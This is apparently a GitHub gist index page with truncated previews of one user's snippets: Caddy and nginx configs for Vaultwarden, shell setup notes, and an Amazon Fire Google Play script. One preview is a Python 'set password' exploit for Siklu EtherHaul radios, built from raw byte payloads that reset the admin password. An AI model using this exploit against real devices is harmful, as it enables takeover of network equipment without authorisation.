Skip to content

Instantly share code, notes, and snippets.

@fnord0
fnord0 / Caddyfile
Last active December 15, 2021 00:58
QNAP NAS working docker-compose.yml for Vaultwarden and Caddy + Websockets and HTTPS via DuckDNS
{$DOMAIN}:443 {
log {
level INFO
output file {$LOG_FILE} {
roll_size 10MB
roll_keep 10
}
}
tls {$SSL_CERT_PATH} {$SSL_KEY_PATH}
@fnord0
fnord0 / MSYS2-Windows10x64.md
Last active December 9, 2021 21:36
MSYS2 on Windows 10 x64 - including ZSH, oh-my-zsh, powerlevel10k theme, gpg and pass
@fnord0
fnord0 / pass.md
Created December 9, 2021 02:37 — forked from abtrout/pass.md
Using password-store with git repository synching

Password-store keeps your passwords (or any other sensitive information) saved in GnuPG encrypted files organized in ~/.password-store. For more information about GPG, consult the GNU Privacy Handbook.

Getting started

To get started, install pass and generate a keypair.

$ brew install pass
$ gpg --gen-key
$ gpg --list-keys
@fnord0
fnord0 / install-zsh-windows-git-bash.md
Created December 7, 2021 21:29 — forked from fworks/install-zsh-windows-git-bash.md
Zsh / Oh-my-zsh on Windows Git Bash
@fnord0
fnord0 / vaultwarden.conf
Created November 30, 2021 07:42 — forked from eizedev/vaultwarden.conf
vaultwarden (bitwarden) nginx configuration on synology NAS using synology docker (Supporting bitwardens LiveSync with Websocket configuration)
server {
listen 4444 ssl http2;
listen [::]:4444 ssl http2;
server_name CHANGE_SERVERNAME;
ssl_certificate /usr/syno/etc/certificate/system/default/ECC-fullchain.pem;
ssl_certificate_key /usr/syno/etc/certificate/system/default/ECC-privkey.pem;
ssl_trusted_certificate /usr/syno/etc/certificate/system/default/ECC-fullchain.pem;
add_header Strict-Transport-Security "max-age=15768000; includeSubdomains; preload" always;
@fnord0
fnord0 / siklu_etherhaul_setpw.py
Created January 30, 2021 07:19 — forked from ianling/siklu_etherhaul_setpw.py
Siklu EtherHaul Set Password Exploit
import socket
from time import sleep
#this sets the password to 'Abc123123'
target = '1.2.3.4'
admin = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x39\x00\x00\x00\x00\x61\x64\x6d\x69\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
setpassword = bytearray(b'\x73\x69\x6d\x70\x6c\x65\x2d\x63\x6f\x6d\x6d\x61\x6e\x64\x20\x73\x65\x74\x20\x75\x73\x65\x72\x20\x61\x64\x6d\x69\x6e\x20\x74\x79\x70\x65\x20\x61\x64\x6d\x69\x6e\x20\x70\x61\x73\x73\x77\x20\x41\x62\x63\x31\x32\x33\x31\x32\x33\x00') #Abc123123
@fnord0
fnord0 / GooglePlay-on-AmazonFire.bat
Created May 15, 2019 20:56
Install Google Play on Amazon Fire 5th Generation, FireOS v5.3.6.4
:: Amazon Fire 5th Generation, FireOS v5.3.6.4
::
:: Amazon Kindle Fire details | https://www.rootjunky.com/amazon/amazon-kindle-fire/
:: Install Google Play on Amazon Fire Instructions | https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/
:: RootJunky Files | http://rootjunkysdl.com/files/
::
:: -Amazon Fire-
:: - Settings > 'Device Options' > press 'Serial Number' ~7 times
:: * 'Developer Options' > 'Enable ADB'
::
[root@ArchDev-i686 ~]# pacman -S archassault-keyring
resolving dependencies...
looking for inter-conflicts...
Packages (1): archassault-keyring-20140202-1
Total Installed Size: 0.14 MiB
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [##############################################] 100%
[root@ArchDev ~]# wget http://repo.archassault.org/archassault/archassault/os/x86_64/archassault-keyring-20140202-1-any.pkg.tar.xz && pacman -U archassault-keyring-20140202-1-any.pkg.tar.xz
--2014-02-03 08:30:52-- http://repo.archassault.org/archassault/archassault/os/x86_64/archassault-keyring-20140202-1-any.pkg.tar.xz
Resolving repo.archassault.org (repo.archassault.org)... 50.116.42.150
Connecting to repo.archassault.org (repo.archassault.org)|50.116.42.150|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 95304 (93K) [application/octet-stream]
Saving to: ‘archassault-keyring-20140202-1-any.pkg.tar.xz’
100%[===========================================================================================>] 95,304 246KB/s in 0.4s
beef/
ruby1.9-bacon/
ruby1.9-buftok/
ruby1.9-daemons/
ruby1.9-descendants_tracker/
ruby1.9-equalizer/
ruby1.9-erubis/
ruby1.9-execjs/
ruby1.9-faraday/
ruby1.9-http/